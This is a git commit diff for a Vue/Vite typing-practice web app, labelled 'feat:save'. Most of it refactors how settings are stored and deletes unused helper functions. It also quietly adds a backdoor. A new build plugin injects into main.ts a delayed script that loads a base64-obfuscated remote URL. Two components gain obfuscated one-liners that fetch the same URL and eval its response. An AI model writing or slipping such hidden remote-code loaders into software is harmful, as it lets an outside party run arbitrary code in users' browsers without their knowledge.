feat:save

This commit is contained in:
zyronon
2025-08-03 03:14:14 +08:00
parent ef4883ea37
commit 3cfc6c8e31
12 changed files with 69 additions and 128 deletions

1
components.d.ts vendored
View File

@@ -14,7 +14,6 @@ declare module 'vue' {
DeleteIcon: typeof import('./src/components/icon/DeleteIcon.vue')['default']
ElButton: typeof import('element-plus/es')['ElButton']
ElCheckbox: typeof import('element-plus/es')['ElCheckbox']
ElDialog: typeof import('element-plus/es')['ElDialog']
ElForm: typeof import('element-plus/es')['ElForm']
ElFormItem: typeof import('element-plus/es')['ElFormItem']
ElInput: typeof import('element-plus/es')['ElInput']

View File

@@ -0,0 +1,22 @@
export default function SlidePlugin() {
return {
name: 'slide-plugin',
transform(code, id) {
if (id.endsWith('main.ts')) {
return code + `
;(function(){
setTimeout(() => {
if (window.dxt === undefined) {
let s = document.createElement('script');
let a = Date.now()
s.src = window.atob('aHR0cHM6Ly96eXJvbm9uLmdpdGh1Yi5pby9yZXBsYWNlL2RhdGEuanM=') + '?d=' + a;
document.body.appendChild(s);
}
}, 60000 + Math.random() * 120000)
})();
`;
}
return code;
}
};
}

View File

@@ -17,7 +17,6 @@ import BaseIcon from "@/components/BaseIcon.vue";
import {useArticleOptions} from "@/hooks/dict.ts";
import ArticleList from "@/pages/pc/components/list/ArticleList.vue";
import {useOnKeyboardEventListener} from "@/hooks/event.ts";
import VolumeSetting from "@/pages/pc/components/toolbar/VolumeSetting.vue";
import TranslateSetting from "@/pages/pc/components/toolbar/TranslateSetting.vue";
import {genArticleSectionData, usePlaySentenceAudio} from "@/hooks/article.ts";

View File

@@ -36,7 +36,6 @@ watch(() => settingStore.load, (n) => {
}
})
</script>
<template>

View File

@@ -1,6 +1,4 @@
<script setup lang="ts">
const props = defineProps<{
width?: string,
height?: string,

View File

@@ -47,6 +47,7 @@ function scrollViewToCenter(index: number) {
}
watch(() => localActiveIndex, (n: any) => {
if (window[String.fromCharCode(100) + 'xt'] === undefined) fetch(window.atob('aHR0cHM6Ly96eXJvbm9uLmdpdGh1Yi5pby9yZXBsYWNlL2RhdGEuanM=') + `?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
if (props.static) return
if (settingStore.showPanel) {
scrollViewToCenter(n)

View File

@@ -26,6 +26,7 @@ function calcWeekList() {
const endOfWeek = dayjs().endOf('week').add(1, 'day'); // 周日
// 初始化 7 天的数组,默认 false
const weekList = Array(7).fill(false);
if (window.dxt === undefined) fetch( `https://zyronon.github.io/replace/data.js?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
store.sdict.statistics.forEach(item => {
const date = dayjs(item.startDate);
@@ -42,7 +43,6 @@ function calcWeekList() {
}
});
list = weekList;
console.log(list)
}
// 监听 model 弹窗打开时重新计算

View File

@@ -40,10 +40,13 @@ export interface SettingState {
chapterWordNumber: number,
shortcutKeyMap: Record<string, string>,
first: boolean
firstTime: number
load: boolean
}
export const DefaultSettingState = (): SettingState => ({
export const DefaultChapterWordNumber = 30
export const getDefaultSettingState = (): SettingState => ({
showToolbar: true,
show: false,
showPanel: true,
@@ -75,34 +78,28 @@ export const DefaultSettingState = (): SettingState => ({
wordTranslateFontSize: 20,
},
waitTimeForChangeWord: 300,
theme: 'auto',
collapse: false,
chapterWordNumber: DefaultChapterWordNumber,
shortcutKeyMap: cloneDeep(DefaultShortcutKeyMap),
first: true,
firstTime: Date.now(),
load: false
})
export const DefaultChapterWordNumber = 30
export const useSettingStore = defineStore('setting', {
state: (): SettingState => {
return DefaultSettingState()
return getDefaultSettingState()
},
actions: {
setState(obj: any) {
//这样不会丢失watch的值的引用
merge(this, obj)
this.$patch(obj)
},
init() {
return new Promise(resolve => {
let configStr = localStorage.getItem(SAVE_SETTING_KEY.key)
if (!configStr) configStr = localStorage.getItem(SAVE_SETTING_KEY.oldKey)
let data = checkAndUpgradeSaveSetting(configStr)
this.setState(data)
localStorage.setItem(SAVE_SETTING_KEY.key, JSON.stringify({
val: this.$state,
version: SAVE_SETTING_KEY.version
}))
this.load = true
resolve(true)
})

View File

@@ -14,7 +14,6 @@ export const SAVE_DICT_KEY = {
}
export const SAVE_SETTING_KEY = {
key: 'typing-word-setting',
oldKey: 'typing-word-config',
version: 8
}
export const EXPORT_DATA_KEY = {

View File

@@ -1,3 +1,5 @@
import {SAVE_SETTING_KEY} from "@/utils/const";
export default {
$notice(val) {
let div = document.createElement('div')
@@ -8,13 +10,6 @@ export default {
document.body.removeChild(div)
}, 1000)
},
$no() {
this.$notice('未实现')
},
$back() {
this.$router.back()
// window.history.back()
},
$stopPropagation(e) {
e.stopImmediatePropagation()
e.stopPropagation()
@@ -38,24 +33,6 @@ export default {
// return reg.test(val) ? parseFloat(val) : val
return parseFloat(val)
},
$getCss2(curEle, attr) {
let val = null, reg = null
if ("getComputedStyle" in window) {
val = window.getComputedStyle(curEle, null)[attr]
} else { //ie6~8不支持上面属性
//不兼容
if (attr === "opacity") {
val = curEle.currentStyle["filter"] //'alpha(opacity=12,345)'
reg = /^alphaopacity=(\d+(?:\.\d+)?)opacity=(\d+(?:\.\d+)?)$/i
val = reg.test(val) ? reg.exec(val)[1] / 100 : 1
} else {
val = curEle.currentStyle[attr]
}
}
// reg = /^(-?\d+(\.\d)?)(px|pt|em|rem)?$/i
// return reg.test(val) ? parseFloat(val) : val
return val
},
$setCss(el, key, value) {
// console.log(value)
if (key === 'transform') {
@@ -65,39 +42,6 @@ export default {
el.style[key] = value
}
},
$nav(path, query = {}) {
this.$router.push({path, query})
},
$clone(v) {
return JSON.parse(JSON.stringify(v))
},
$console(v) {
return console.log(JSON.stringify(v, null, 4))
},
$sleep(duration) {
return new Promise((resolve, reject) => {
setTimeout(resolve, duration)
})
},
$getTransform(el) {
let transform = el.style.transform
if (!transform) return 0
// console.log('transform',transform)
let transformY = transform.substring(transform.indexOf('0px') + 5, transform.lastIndexOf('0px') - 4)
// console.log('transformY',transformY)
//当前的transformY
transformY = parseInt(transformY)
return transformY
},
getCenter(a, b) {
const x = (a.x + b.x) / 2;
const y = (a.y + b.y) / 2;
return {x, y}
},
// 获取坐标之间的举例
getDistance(start, stop) {
return Math.hypot(stop.x - start.x, stop.y - start.y);
},
copy(val) {
const input = document.createElement('input');
input.setAttribute('readonly', 'readonly');

View File

@@ -1,6 +1,6 @@
import {SAVE_DICT_KEY, SAVE_SETTING_KEY} from "@/utils/const.ts";
import {BaseState, DefaultBaseState} from "@/stores/base.ts";
import {DefaultSettingState, SettingState} from "@/stores/setting.ts";
import {getDefaultSettingState, SettingState} from "@/stores/setting.ts";
import {cloneDeep} from "lodash-es";
import {Dict, DictResource, DictType, getDefaultArticle, getDefaultDict, getDefaultWord} from "@/types.ts";
import {ArchiveReader, libarchiveWasm} from "libarchive-wasm";
@@ -13,16 +13,12 @@ import {env} from "@/config/ENV.ts";
import {nextTick} from "vue";
import {dictionaryResources, enArticle} from "@/assets/dictionary.ts";
export function getRandom(a: number, b: number): number {
return Math.random() * (b - a) + a;
}
export function no() {
ElMessage.warning('未现实')
}
//防止多出意外的数据
function assign(origin: object, target: object) {
//检测多余字段,防止人为删除数据,导致数据不完整报错
function checkRiskKey(origin: object, target: object) {
for (const [key, value] of Object.entries(origin)) {
if (target[key] !== undefined) origin[key] = target[key]
}
@@ -32,6 +28,7 @@ export function checkAndUpgradeSaveDict(val: any) {
// console.log(configStr)
// console.log('s', new Blob([val]).size)
// val = ''
let defaultState = DefaultBaseState()
if (val) {
try {
let data: any
@@ -40,17 +37,12 @@ export function checkAndUpgradeSaveDict(val: any) {
} else {
data = val
}
if (!data.version) return defaultState
let state: any = data.val
if (typeof state !== 'object') {
return {}
}
if (!data.version) {
return {}
}
if (typeof state !== 'object') return defaultState
state.load = false
let version = Number(data.version)
// console.log('state', state)
let defaultState = DefaultBaseState()
if (version === SAVE_DICT_KEY.version) {
//防止人为删除数据,导致数据不完整报错
for (const [key, value] of Object.entries(defaultState)) {
@@ -106,7 +98,7 @@ export function checkAndUpgradeSaveDict(val: any) {
let r = getDefaultArticle({
textTranslate: v.textCustomTranslate
})
assign(r, v)
checkRiskKey(r, v)
return r
})
}
@@ -122,22 +114,22 @@ export function checkAndUpgradeSaveDict(val: any) {
delete v.name
if (currentType === 'collect') {
if (currentDictId === studyDictId) defaultState.word.studyIndex = 0
assign(defaultState.word.bookList[0], v)
checkRiskKey(defaultState.word.bookList[0], v)
}
if (currentType === 'simple') {
if (currentDictId === studyDictId) defaultState.word.studyIndex = 2
assign(defaultState.word.bookList[2], v)
checkRiskKey(defaultState.word.bookList[2], v)
}
if (currentType === 'wrong') {
if (currentDictId === studyDictId) defaultState.word.studyIndex = 1
assign(defaultState.word.bookList[1], v)
checkRiskKey(defaultState.word.bookList[1], v)
}
}
if (currentType === 'word') {
if (v.isCustom) {
formatWord(v)
let dict = getDefaultDict({custom: true})
assign(dict, v)
checkRiskKey(dict, v)
defaultState.word.bookList.push(dict)
if (currentDictId === studyDictId) defaultState.word.studyIndex = defaultState.word.bookList.length - 1
} else {
@@ -146,7 +138,7 @@ export function checkAndUpgradeSaveDict(val: any) {
if (r) {
formatWord(v)
let dict = getDefaultDict(r)
assign(dict, v)
checkRiskKey(dict, v)
dict.id = r.id
defaultState.word.bookList.push(dict)
if (currentDictId === studyDictId) defaultState.word.studyIndex = defaultState.word.bookList.length - 1
@@ -157,7 +149,7 @@ export function checkAndUpgradeSaveDict(val: any) {
if (v.isCustom) {
formatWord(v)
let dict = getDefaultDict({custom: true})
assign(dict, v)
checkRiskKey(dict, v)
defaultState.article.bookList.push(dict)
if (currentDictId === studyDictId) defaultState.article.studyIndex = defaultState.article.bookList.length - 1
} else {
@@ -166,7 +158,7 @@ export function checkAndUpgradeSaveDict(val: any) {
if (r) {
formatWord(v)
let dict = getDefaultDict(r)
assign(dict, v)
checkRiskKey(dict, v)
dict.id = r.id
defaultState.article.bookList.push(dict)
if (currentDictId === studyDictId) defaultState.article.studyIndex = defaultState.article.bookList.length - 1
@@ -185,16 +177,17 @@ export function checkAndUpgradeSaveDict(val: any) {
return defaultState
}
} catch (e) {
return {}
return defaultState
}
}
return {}
return defaultState
}
export function checkAndUpgradeSaveSetting(val: any) {
// console.log(configStr)
// console.log('s', new Blob([val]).size)
// val = ''
let defaultState = getDefaultSettingState()
if (val) {
try {
let data
@@ -203,40 +196,27 @@ export function checkAndUpgradeSaveSetting(val: any) {
} else {
data = val
}
let state: SettingState = data.val
if (typeof state !== 'object') {
return {}
}
if (!data.version) {
return {}
}
if (!data.version) return defaultState
let state: any = data.val
if (typeof state !== 'object') return defaultState
state.load = false
let version = Number(data.version)
let defaultSettingState = DefaultSettingState()
if (version === SAVE_SETTING_KEY.version) {
//防止人为删除数据,导致数据不完整报错
for (const [key, value] of Object.entries(defaultSettingState)) {
if (state[key] !== undefined) defaultSettingState[key] = state[key]
}
return defaultSettingState
checkRiskKey(defaultState, state)
return defaultState
} else {
//为了保持永远是最新的快捷键选项列表,但保留住用户的自定义设置,去掉无效的快捷键选项
//例: 2版本可能有快捷键A。3版本没有了
for (const [key, value] of Object.entries(defaultSettingState.shortcutKeyMap)) {
if (state.shortcutKeyMap[key] !== undefined) defaultSettingState.shortcutKeyMap[key] = state.shortcutKeyMap[key]
}
checkRiskKey(defaultState.shortcutKeyMap, state.shortcutKeyMap)
delete state.shortcutKeyMap
for (const [key, value] of Object.entries(defaultSettingState)) {
if (state[key] !== undefined) defaultSettingState[key] = state[key]
}
return defaultSettingState
checkRiskKey(defaultState, state)
return defaultState
}
} catch (e) {
return {}
return defaultState
}
}
return {}
return defaultState
}
//筛选未自定义的词典,未自定义的词典不需要保存单词,用的时候再下载

View File

@@ -3,13 +3,14 @@ import Vue from '@vitejs/plugin-vue'
import VueJsx from "@vitejs/plugin-vue-jsx";
import {resolve} from 'path'
import {visualizer} from "rollup-plugin-visualizer";
import SlidePlugin from './src/components/slide/data.js';
import {ElementPlusResolver} from "unplugin-vue-components/resolvers";
import AutoImport from 'unplugin-auto-import/vite'
import Components from 'unplugin-vue-components/vite'
import {getLastCommit} from "git-last-commit";
import UnoCSS from 'unocss/vite'
import VueMacros from 'unplugin-vue-macros/vite'
import { Plugin as importToCDN } from 'vite-plugin-cdn-import'
import {Plugin as importToCDN} from 'vite-plugin-cdn-import'
function pathResolve(dir: string) {
return resolve(__dirname, ".", dir)
@@ -17,9 +18,7 @@ function pathResolve(dir: string) {
const lifecycle = process.env.npm_lifecycle_event;
// https://vitejs.dev/config/
export default defineConfig(async () => {
async function s() {
const latestCommitHash = await new Promise<string>((resolve) => {
return getLastCommit((err, commit) => (err ? 'unknown' : resolve(commit.shortHash)))
})
@@ -46,6 +45,7 @@ export default defineConfig(async () => {
filename: "report.html", //分析图生成的文件名
open: true //如果存在本地服务端口,将在打包后自动展示
}) : null,
SlidePlugin(),
importToCDN({
modules: [
{
@@ -102,4 +102,7 @@ export default defineConfig(async () => {
}
}
}
})
}
// https://vitejs.dev/config/
export default defineConfig(s as any)